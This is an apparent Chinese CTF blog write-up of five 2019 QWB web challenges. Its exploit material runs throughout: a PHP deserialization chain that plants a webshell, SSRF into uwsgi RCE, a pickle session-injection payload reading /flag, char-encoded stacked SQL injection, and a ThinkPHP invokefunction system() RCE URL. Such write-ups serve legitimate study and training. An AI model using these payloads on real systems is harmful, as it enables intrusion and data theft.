sky's blog

2019 强网杯online Web Writeup

字数统计: 4,660阅读时长: 24 min
2019/05/25 Share

upload

登入题目,首先纵览题目功能,发现有注册和登录:

随便注册登入后,来到文件上传页面:

经探测,发现可以上传png图片,同时上传目录可直接访问:

同时发现cookie有序列化内容:

解码后得到:

1
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";N;}

上传png后,序列化变为:

1
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:79:"../upload/9862a5f0c459c3f78ba4bab12279ea3d/fb5c81ed3a220004b71069645f112867.png";}

尝试直接改序列化进行目录穿越

1
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:28:"../../../../../../etc/passwd";}

页面直接跳转至登录页面,猜测不能直接修改序列化内容。
根据以往经验,有序列化一般都有源码泄露,否则序列化很难恶意构造,于是探测目录,得到文件泄露:

1
http://49.4.66.242:32147/www.tar.gz

审计网站源码,将目光定位到如下3个文件上:

1
2
3
web/controller/Index.php
web/controller/Profile.php
web/controller/Register.php

web/controller/Profile.php看到关键函数操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)){
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();}else{
$this->error('Forbidden type!', url('../index'));}
}
else{
$this->error('Unknow file type!', url('../index'));
}
}

其中操作

1
2
3
if(getimagesize($this->filename_tmp)){
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);

跟进$this->filename_tmp$this->filename,发现没有过滤等限制,唯一阻碍:

1
2
3
4
5
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

但我们可以通过直接GET请求,不进入该if判断。

1
2
3
4
5
6
7
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

同时该校验也可如法炮制,可直接通过设置类中属性进行bypass,不进入if判断。
到此为止可得到类的部分构造:

1
2
3
public $checker=0;
public $filename_tmp='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png';
public $filename='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php';

(注:该处路径是../public/upload/,从代码@chdir("../public/upload");可发现,一开始我被坑了= =)
当该值进入upload_img函数后,即可利用copy成功复制出php文件。但是新的问题来了,如何通过反序列化直接调用upload_img函数。
这里可以看到两个魔法方法:

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

我们知道当对象调用不可访问属性时,就会自动触发get魔法方法,而在对象调用不可访问函数时,就会自动触发call魔法方法。
那么寻找触发方式可以发现文件web/controller/Register.php,关键部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Register extends Controller
{
public $checker;
public $registed;

public function __construct()
{
$this->checker=new Index();
}

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}

我们可以看到checker调用了类Index里的方法index(),如果我们此时将checker的construct覆盖为类Profile,那么势必在调用index()方法时,会触发call函数:

1
2
3
4
5
6
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

而进入该函数后,我们会触发$this->index,成功尝试调用类Profile中不存在的对象,于是可触发__get魔法方法,从而变成return $this->except['index'];,那么我们只要在构造序列化时,将except赋值为数组,如下:

1
public $except=array('index'=>'upload_img');

即可在类Register进行__destruct()时,成功触发upload_img函数,进行文件复制和改名。
综合上述pop链,我们可以构造如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
namespace app\web\controller;
class Profile
{
public $checker=0;
public $filename_tmp="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png";
public $filename="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');

}
class Register
{
public $checker;
public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));

成功改名后可直接getshell,进行命令执行:

进行getflag:

1
view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%27);


1
view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%20/%27);


1
view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27cat%20/flag%27);

高明的黑客


题目直接提供了源码下载:

1
http://117.78.48.182:31784/www.tar.gz

下载后发现是3000多个混淆过的shell,其中包括多种障眼法:


例如看起来可进行RCE的参数,实际上被置空,或者有根本不可能进入的if判断。这让我们寻找可用的后门非常困难。
此时有两种想法,一种为动态调试,另一种为fuzz。考虑到便捷性,我使用了后者,思路如下:
匹配出所有$_GET或者$_POST参数,然后统一赋值为:

1
echo 'sky cool';

如果回显中包含sky cool,那么证明该文件为可用shell,于是撰写如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
from multiprocessing import Pool

base_url = "http://localhost:8888/src/"
base_dir = "/Desktop/site/src/"
file_list = ['zzt4yxY_RMa.php',........ 'm_tgKOIy5uj.php', 'aEFo52YSPrp.php', 'Hk3aCSWcQZK.php', 'RXoiLRYSOKE.php']

def extracts(f):
gets = []
with open(base_dir + f, 'r') as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for line in lines:

if line.find("$_GET['") > 0:
start_pos = line.find("$_GET['") + len("$_GET['")
end_pos = line.find("'", start_pos)
gets.append(line[start_pos:end_pos])

return gets

def exp(start,end):
for i in range(start,end):
filename = file_list[i]
gets = extracts(filename)
print "try: %s"%filename
for get in gets:
now_url = "%s%s?%s=%s"%(base_url,filename,get,'echo "sky cool";')
r = requests.get(now_url)
if 'sky cool' in r.content:
print now_url
break
print "%s~%s not found!"%(start,end)


def main():
pool = Pool(processes=15) # set the processes max number 3
for i in range(0,len(file_list),len(file_list)/15):
pool.apply_async(exp,(i,i+len(file_list)/15,))
pool.close()
pool.join()


if __name__ == "__main__":
main()

运行后找到文件:

进行getflag:

1
view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=ls%20/


1
view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

babywebbb

直接访问题目:

得到信息,发现有证书信任问题。尝试进行信息搜集,找到ip对应的域名:

发现可疑子域名,进行/etc/hosts绑定:

1
49.4.71.212 qqwwwwbbbbb.52dandan.xyz

访问页面

1
https://qqwwwwbbbbb.52dandan.xyz:8088/

发现现在正常访问,但是页面404。进行信息搜集,扫端口:

1
2
3
4
5
6
7
22/tcp    open   ssh
873/tcp open rsync
3389/tcp closed ms-wbt-server
8080/tcp closed http-proxy
8088/tcp open radan-http
12345/tcp closed netbus
31337/tcp closed Elite

发现837端口开放,尝试未授权访问:

1
2
rsync 49.4.71.212::
rsync 49.4.71.212::"src"


下载backup_old.zip

获得外网源码,审计一波,发现是用flask写的小站,首先看下路由:

1
2
3
4
app.register_blueprint(admin, url_prefix='/admin')
app.register_blueprint(graphql, url_prefix='/graphql_test123')
app.register_blueprint(login_blue, url_prefix='/user')
app.register_blueprint(user, url_prefix='/user')

同时看到登录页面:

1
https://qqwwwwbbbbb.52dandan.xyz:8088/user/login

审计相关代码:

1
2
if re.match("^[A-Za-z0-9]*$", username):
sql = "select * from user where username_which_you_do_not_know=\"{}\" and password_which_you_do_not_know_too=\"{}\"".format(username,password_new)

发现有过滤,且有功能需要登录

1
2
3
4
5
6
7
8
9
10
11
12
13
@user.route('/newimg', methods=['POST','GET'])
@login_required
def test():
url = unquote(request.form.get('newurl'))
if re.match("^[A-Za-z0-9-_%:./]*$",url):
filename = ramdom_str()
command = "curl {} > /tmp/{}".format(url, filename)
os.system(command)
with open("/tmp/{}".format(filename),"rb") as res:
res_data = res.read()
res_data = base64.b64encode(res_data)
return res_data
return ""

若要利用该SSRF进行任意文件读取,那么必须要登录,但是没有注册功能,那么猜想需要注入,于是寻找注入点,发现:

1
2
3
4
Test_schema = graphene.Schema(query=Test)
Login_schema = graphene.Schema(query=Login)
graphql.add_url_rule('/test', view_func=GraphQLView.as_view('test', schema=Test_schema, graphiql=True))
graphql.add_url_rule('/login', view_func=GraphQLView.as_view('login', schema=Login_schema, graphiql=True))

尝试访问:

1
https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login

其对应代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Login(graphene.ObjectType):
recv = graphene.String(data=graphene.String(default_value=""))
def resolve_recv(self,info, data):
all_info = json.loads(data)
operate = all_info['operate']
if operate =='login':
username = all_info['username']
password = all_info['password']
logggin(username,password)
password_new = hashlib.sha256(password.encode('utf-8')).hexdigest()
db = DbOp()
db.connect()
sql = "select * from user where username_which_you_do_not_know=\"{}\" and password_which_you_do_not_know_too=\"{}\"".format(username,password_new)
rr = db.getall(sql)
if len(rr) != 0:
session['username'] = username
session['loginstatus'] = True
response = "login success"
elif operate == 'logout':
session['username'] = None
session['loginstatus'] = False
response = "Logout success"
else:
response = "None of operate"
return response

发现是graphql且无过滤,利用如下操作,可控username与password:

1
recv = graphene.String(data=graphene.String(default_value=""))

审计发现需要满足:

1
if operate =='login':

于是构造如下json:

1
2
3
<?php
$array = array('operate'=>'login','username'=>'admin','password'=>'admin');
echo json_encode($array);

尝试访问:

发现可以成功进行登录,那么简单注入:

发现登录成功,成功拿到session,于是利用路由进行SSRF:

1
https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg

尝试读取/etc/passwd文件:

发现读取成功,尝试读nginx相关配置信息:

1
file:///etc/nginx/sites-available/default

得到信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
server {
listen 80 default_server;
listen 443 default_server;
server_name _ ;
ssl on;
ssl_certificate /root/www.crt;
ssl_certificate_key /root/www.key;
return 444;
}

server {
listen 80;
listen 443;
server_name qqwwwwbbbbb.52dandan.xyz;
charset utf-8;
client_max_body_size 5M;
location / {
include uwsgi_params;
uwsgi_pass 127.0.0.1:3031;
}
location /static {
alias /home/qwb/static;
}
}

发现uwsgi

1
127.0.0.1:3031;

结合参考文章

1
https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md

不难想到这里可以利用SSRF打uwsgi进行getshell:

然后下一步理所当然是扫内网,这里我传了个nmap上去一通扫:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Nmap scan report for 172.16.17.1
Host is up (0.00037s latency).
Not shown: 310 closed ports
PORT STATE SERVICE
22/tcp open ssh
873/tcp open rsync
8088/tcp open omniorb

Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4)
Host is up (0.00035s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
1080/tcp open socks

Nmap scan report for 96b479690d75 (172.16.17.22)
Host is up (0.00033s latency).
Not shown: 311 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https

Nmap scan report for 2019qwb_qwb_rsync_1.2019qwb_qwb_network (172.16.17.99)
Host is up (0.00034s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
873/tcp open rsync

Nmap scan report for 2019qwb_qwb_ssrf_mysql_1.2019qwb_qwb_network (172.16.17.231)
Host is up (0.00032s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
3306/tcp open mysql

看到数据库后,简单找了下数据库信息:

尝试连接数据库:

顺手看了下内容:

没有flag,惨惨= =,后来正想扫其他网段的时候,主办方放出了hint:

1
由于内网扫的太卡了,直接给出内网地址192.168.223.222

同时发现之前的扫描结果:

1
2
3
4
5
Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4)
Host is up (0.00035s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
1080/tcp open socks

想到可以用socks5去打内网,于是简单配置了下代理,顺手扫了个端口:

1
2
3
4
5
6
Nmap scan report for 192.168.223.222
Host is up (0.064s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https

那就是打web了,浏览器挂上代理访问,来到内网web页面

随手尝试弱密码登录:

1
admin admin

又来到一个全新的世界= =

发现有几个功能:

1
2
3
add user
save log
infomation

然后陷入了无尽的沉思= =,后来主办方给出了个hint,也就是公开源码:

1
hint:https://paste.ubuntu.com/p/q4xJBfm3Bb/

简单审计后,发现序列化点:
反序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self._generate_sid()
return self.session_class(sid=sid)

signer = self._get_signer(app)
try:
sid_as_bytes = signer.unsign(sid)
sid = sid_as_bytes.decode()
except BadSignature:
sid = self._generate_sid()
return self.session_class(sid=sid)

sess_path = os.path.join(sys.path[0],self.dir)
exists = os.path.exists(sess_path)
if not exists:
os.mkdir(sess_path)
try:
with open(os.path.join(sess_path,sid),'rb') as f:
try:
val = pickle.load(f)
except:
val = {}
return self.session_class(val,sid=sid)
except:
return self.session_class(sid=sid)

序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
val = dict(session)

sess_path = os.path.join(sys.path[0],self.dir)
with open(os.path.join(sess_path , session.sid), 'wb') as f:
pickle.dump(val, f, True)
session_id = self._get_signer(app).sign(want_bytes(session.sid))
response.set_cookie(app.session_cookie_name, session_id,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)

注:怎么每年都有个flask session反序列化= =
本来想利用序列化反弹shell,但主办方又给个hint:

1
不能弹shell的。。。别尝试了

注:主办方真给力,每次都雪中送炭)
于是考虑怎么把数据带出,但考虑到内网的交互问题有点麻烦,于是想直接把flag放进session里。
那么容易想到将flag替换username的值,然后在带出session username的位置即可看到flag。
根据代码

1
2
3
4
5
6
7
8
9
def validate_username(self, field):
name = field.data

if (not re.match('^[0-9a-zA-Z]*$',name)) or (len(name)<6) :
err_log.append(waf(field.data))
if len(err_log) == 101:
err_log.pop(0)

raise ValidationError('validation username!')

发现用户名只要出现特殊符号,就会经过waf后被加入log:
观察waf:

1
2
3
def waf(data):
data = re.sub('(decode|sh|command|class|dict|base|execfile|timeit|platform|getattribute|reload|values)','hacker',data)
return data

过滤并不是非常多,触发过滤会被替换为hacker,还是挺好Bypass的。
那么思路非常明确了,我们希望达成如下效果:

1
bytes('(dp0\nS\'username\'\np1\nS\''+open('/tmp/flag','r').read().strip()+'\'\np2\ns.','utf-8')

该exp被反序列化后,效果如下:

此时我们的username的值变为flag
同时寻找读取内容位置:

发现在information处,会有session['username'],那么即可完成攻击链,我们构造出关键exp:

1
"open('/home/qwb/session/ba0eaa4d-7f63-41b5-8d05-cce9b1299945','wb').write(bytes('(dp0\\nS\\'username\\'\\np1\\nS\\''+open('/flag','r').read().strip()+'\\'\\np2\\ns.','utf-8'))"

将其序列化后,放在add user位置,使其进入log。
之后利用save_log将日志覆盖到session文件上,再通过触发session,触发反序列化。
其中注意,save log对路径做了过滤,可以用反斜杠进行bypass:

1
2
3
4
def validate_filepath(self, field):
filepath = field.data
if re.match('.*(\./|\.\./|/).*',filepath) or re.match('(.*\.py|.*\.pyc|.*\.js|.*\.html|.*\.css|.*\.db)',filepath):
raise ValidationError('validation filepath!')

攻击后访问information页面,发现flag:

随便注

一道相对简单的注入题

1
http://49.4.26.104:32019/?inject=1

随手尝试引号,得到报错

1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

再尝试闭合

1
http://49.4.26.104:32019/?inject=1'%23

发现正常,于是尝试

1
http://49.4.26.104:32019/?inject=1'||1%23


发现列出当前表所有内容,猜想flag在其他表中,尝试注入,发现过滤

1
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

发现select.被过滤,根据经验,一般这种情况很难跨表查询,那么考虑有没有其他的技巧,不难想到堆叠注入,为bypass过滤,尝试用char进行绕过,可写出exp如下:

1
2
3
4
5
6
7
8
9
payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()'
# exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'"
# exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print my_payload

在本地略作尝试:

1
select * from article where id=1;set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;


发现一切顺利,于是题目中进行测试:
发现表名

1
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;


发现字段名

1
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(67),char(79),char(76),char(85),char(77),char(78),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(67),char(79),char(76),char(85),char(77),char(78),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(61),char(39),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(39));PREPARE a FROM @s;EXECUTE a;


getflag

1
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;

强网先锋-上单

据说是道送分题= =
访问题目,得到目录

发现信息

1
http://49.4.66.242:31392/1/public/


得知是用thinkphp 5.0.22开发,随手搜索,发现RCE CVE:

1
http://49.4.66.242:31392/1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

得到flag

1
flag{f869fa995fb99667e75e04b5c3ca77cc}

1
文章首发于跳跳糖
点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. upload
  2. 2. 高明的黑客
  3. 3. babywebbb
  4. 4. 随便注
  5. 5. 强网先锋-上单